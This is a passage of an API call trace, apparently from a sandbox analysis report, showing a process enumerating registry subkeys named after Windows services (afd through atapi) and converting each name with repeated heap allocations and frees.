lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0029.280] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x1c94450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0029.280] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.280] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.280] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.280] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.280] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x11, lpName=0x1c829e0, cchName=0x104 | out: lpName="agp440") returned 0x0 [0029.280] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0029.280] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x1c946d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0029.280] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.280] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.280] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.280] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.280] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x12, lpName=0x1c829e0, cchName=0x104 | out: lpName="ALG") returned 0x0 [0029.280] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0029.280] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x1c94450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0029.280] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.280] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.280] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.280] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.280] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x13, lpName=0x1c829e0, cchName=0x104 | out: lpName="aliide") returned 0x0 [0029.280] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0029.280] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x1c946d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0029.281] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.281] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.281] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.281] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.281] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x14, lpName=0x1c829e0, cchName=0x104 | out: lpName="amdide") returned 0x0 [0029.281] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0029.281] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x1c94450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0029.281] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.281] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.281] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.281] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.281] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x15, lpName=0x1c829e0, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0029.281] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0029.281] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x1c946d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0029.281] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.281] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.281] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.281] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.281] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x16, lpName=0x1c829e0, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0029.281] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0029.281] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x1c94450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0029.281] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.281] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.281] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.281] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.281] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x17, lpName=0x1c829e0, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0029.282] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.282] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x1c946d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0029.282] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.282] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.282] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.282] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.282] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x18, lpName=0x1c829e0, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0029.282] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0029.282] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x1c94450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0029.282] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.282] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.282] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.282] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.282] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x19, lpName=0x1c829e0, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0029.282] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.282] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x1c946d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0029.282] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.282] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.282] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.282] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.282] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x1a, lpName=0x1c829e0, cchName=0x104 | out: lpName="AppID") returned 0x0 [0029.282] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0029.282] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x1c94450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0029.283] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.283] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.283] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.283] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.283] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x1b, lpName=0x1c829e0, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0029.283] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.283] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x1c946d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0029.283] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.283] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.283] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.283] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.283] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x1c, lpName=0x1c829e0, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0029.283] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.283] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x1c94450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0029.283] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.283] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.283] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.283] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.283] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x1d, lpName=0x1c829e0, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0029.283] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.283] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x1c946d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0029.283] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.283] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.284] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.284] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.284] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x1e, lpName=0x1c829e0, cchName=0x104 | out: lpName="arc") returned 0x0 [0029.284] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0029.284] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x1c94450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0029.284] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.284] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.284] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.284] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.284] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x1f, lpName=0x1c829e0, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0029.284] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0029.284] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x1c946d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0029.284] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.284] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.284] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.284] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.284] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x20, lpName=0x1c829e0, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0029.284] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.284] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x1c94450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0029.284] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.284] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.284] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.284] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.284] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x21, lpName=0x1c829e0, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0029.284] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0029.285] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x1c946d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0029.285] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.285] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.285] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.285] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.285] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x22, lpName=0x1c829e0, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0029.285] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0029.285] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x1c94450, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0029.285] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.285] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.285] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.285] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.285] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x23, lpName=0x1c829e0, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0029.285] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.285] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x1c946d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0029.285] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.285] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.285] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.285] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.285] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x24, lpName=0x1c829e0, cchName=0x104 | out: lpName="atapi") returned 0x0 [0029.285] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0029.285] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x1c94450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0029.285] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.285] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.286] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.286] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.286] 